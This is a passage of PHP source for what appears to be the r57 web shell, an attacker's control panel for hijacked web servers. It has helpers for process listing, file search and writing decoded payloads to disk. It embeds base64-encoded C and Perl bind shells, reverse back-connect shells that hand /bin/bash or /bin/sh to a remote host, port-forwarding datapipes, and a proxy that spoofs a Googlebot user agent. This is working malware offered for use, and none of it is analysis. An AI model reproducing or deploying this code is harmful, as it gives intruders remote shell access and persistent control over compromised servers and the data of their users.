3507if($unix){$path = ex("ps -aux | grep $pr | grep -v 'grep'");}
3508
3509else{$path = ex("tasklist | findstr \"$pr\"");}
3510
3511if(!empty($path)) { return $path; } else { return false; }
3512
3513}
3514
3515function locate($pr)
3516
3517{
3518
3519$path = '';
3520
3521$path = ex("locate $pr");
3522
3523if(!empty($path)) { return $path; } else { return false; }
3524
3525}
3526
3527function cf($fname,$text)
3528
3529{
3530
3531 if(!morewrite($fname,@base64_decode($text))){err(0);};
3532
3533}
3534
3535function sr($l,$t1,$t2)
3536
3537 {
3538
3539 return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
3540
3541 }
3542
3543if (!@function_exists("view_size"))
3544
3545{
3546
3547function view_size($size)
3548
3549{
3550
3551 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
3552
3553 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
3554
3555 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
3556
3557 else {$size = $size . " B";}
3558
3559 return $size;
3560
3561}
3562
3563}
3564
3565 function DirFilesR($dir,$types='')
3566
3567 {
3568
3569 $files = Array();
3570
3571 if(($handle = @opendir($dir)))
3572
3573 {
3574
3575 while (false !== ($file = @readdir($handle)))
3576
3577 {
3578
3579 if ($file != "." && $file != "..")
3580
3581 {
3582
3583 if(@is_dir($dir."/".$file))
3584
3585 $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
3586
3587 else
3588
3589 {
3590
3591 $pos = @strrpos($file,".");
3592
3593 $ext = @substr($file,$pos,@strlen($file)-$pos);
3594
3595 if($types)
3596
3597 {
3598
3599 if(@in_array($ext,explode(';',$types)))
3600
3601 $files[] = $dir."/".$file;
3602
3603 }
3604
3605 else
3606
3607 $files[] = $dir."/".$file;
3608
3609 }
3610
3611 }
3612
3613 }
3614
3615 @closedir($handle);
3616
3617 }
3618
3619 return $files;
3620
3621 }
3622
3623 class SearchResult
3624
3625 {
3626
3627 var $text;
3628
3629 var $FilesToSearch;
3630
3631 var $ResultFiles;
3632
3633 var $FilesTotal;
3634
3635 var $MatchesCount;
3636
3637 var $FileMatschesCount;
3638
3639 var $TimeStart;
3640
3641 var $TimeTotal;
3642
3643 var $titles;
3644
3645 function SearchResult($dir,$text,$filter='')
3646
3647 {
3648
3649 $dirs = @explode(";",$dir);
3650
3651 $this->FilesToSearch = Array();
3652
3653 for($a=0;$a<count($dirs);$a++)
3654
3655 $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
3656
3657 $this->text = $text;
3658
3659 $this->FilesTotal = @count($this->FilesToSearch);
3660
3661 $this->TimeStart = getmicrotime();
3662
3663 $this->MatchesCount = 0;
3664
3665 $this->ResultFiles = Array();
3666
3667 $this->FileMatchesCount = Array();
3668
3669 $this->titles = Array();
3670
3671 }
3672
3673 function GetFilesTotal() { return $this->FilesTotal; }
3674
3675 function GetTitles() { return $this->titles; }
3676
3677 function GetTimeTotal() { return $this->TimeTotal; }
3678
3679 function GetMatchesCount() { return $this->MatchesCount; }
3680
3681 function GetFileMatchesCount() { return $this->FileMatchesCount; }
3682
3683 function GetResultFiles() { return $this->ResultFiles; }
3684
3685 function SearchText($phrase=0,$case=0) {
3686
3687 $qq = @explode(' ',$this->text);
3688
3689 $delim = '|';
3690
3691 if($phrase)
3692
3693 foreach($qq as $k=>$v)
3694
3695 $qq[$k] = '\b'.$v.'\b';
3696
3697 $words = '('.@implode($delim,$qq).')';
3698
3699 $pattern = "/".$words."/";
3700
3701 if(!$case)
3702
3703 $pattern .= 'i';
3704
3705 foreach($this->FilesToSearch as $k=>$filename)
3706
3707 {
3708
3709 $this->FileMatchesCount[$filename] = 0;
3710
3711 $FileStrings = @file($filename) or @next;
3712
3713 for($a=0;$a<@count($FileStrings);$a++)
3714
3715 {
3716
3717 $count = 0;
3718
3719 $CurString = $FileStrings[$a];
3720
3721 $CurString = @Trim($CurString);
3722
3723 $CurString = @strip_tags($CurString);
3724
3725 $aa = '';
3726
3727 if(($count = @preg_match_all($pattern,$CurString,$aa)))
3728
3729 {
3730
3731 $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
3732
3733 $this->ResultFiles[$filename][$a+1] = $CurString;
3734
3735 $this->MatchesCount += $count;
3736
3737 $this->FileMatchesCount[$filename] += $count;
3738
3739 }
3740
3741 }
3742
3743 }
3744
3745 $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
3746
3747 }
3748
3749 }
3750
3751 function getmicrotime()
3752
3753 {
3754
3755 list($usec,$sec) = @explode(" ",@microtime());
3756
3757 return ((float)$usec + (float)$sec);
3758
3759 }
3760
3761$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
3762
3763A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
3764
3765GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
3766
3767b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
3768
3769pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
3770
3771NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
3772
3773ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
3774
3775ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
3776
37777DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
3778
37799tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
3780
37812ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
3782
3783dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
3784
3785lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
3786
3787$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
3788
3789VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
3790
3791JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
3792
3793TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
3794
3795lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
3796
3797Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
3798
3799Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
3800
3801lIENPTk47DQpleGl0IDA7DQp9DQp9";
3802
3803$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
3804
3805aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
3806
3807hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
3808
3809sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
3810
3811kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
3812
3813KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
3814
3815OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
3816
3817$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
3818
3819BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
3820
3821SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
3822
3823KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
3824
3825sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
3826
3827Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
3828
3829QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
3830
3831Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
3832
3833$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
3834
3835x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
3836
3837HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
3838
3839aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
3840
3841lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
3842
3843xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
3844
3845W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
3846
3847LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
3848
3849udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
3850
38510KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
3852
3853iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
3854
3855KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
3856
3857gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
3858
3859hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
3860
3861iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
3862
3863ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
3864
3865vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
3866
3867AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
3868
3869QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
3870
3871ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
3872
3873gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
3874
3875wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
3876
387729jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
3878
3879MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
3880
3881gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
3882
38835zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
3884
3885HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
3886
3887dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
3888
3889KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
3890
3891ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
3892
3893E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
3894
3895Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
3896
3897NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
3898
3899J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
3900
3901CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
3902
3903dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
3904
3905gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
3906
3907lsZSk7DQogIHJldHVybiAwOw0KfQ==";
3908
3909$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
3910
3911CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
3912
3913bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
3914
3915gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
3916
3917NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
3918
3919iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
3920
3921aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
3922
3923SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
3924
3925xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
3926
3927WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
3928
3929CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
3930
3931yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
3932
3933I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
3934
3935m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
3936
3937IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
3938
3939lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
3940
3941QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
3942
3943CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
3944
3945c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
3946
3947NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
3948
3949UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
3950
3951DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
3952
3953ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
3954
39551ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
3956
3957$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
3958
3959luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
3960
39610NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
3962
3963UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
3964
3965DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
3966
3967AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
3968
3969GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
3970
3971cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
3972
3973BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
3974
3975AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
3976
3977TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
3978
3979eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
3980
3981oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
3982
3983VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
3984
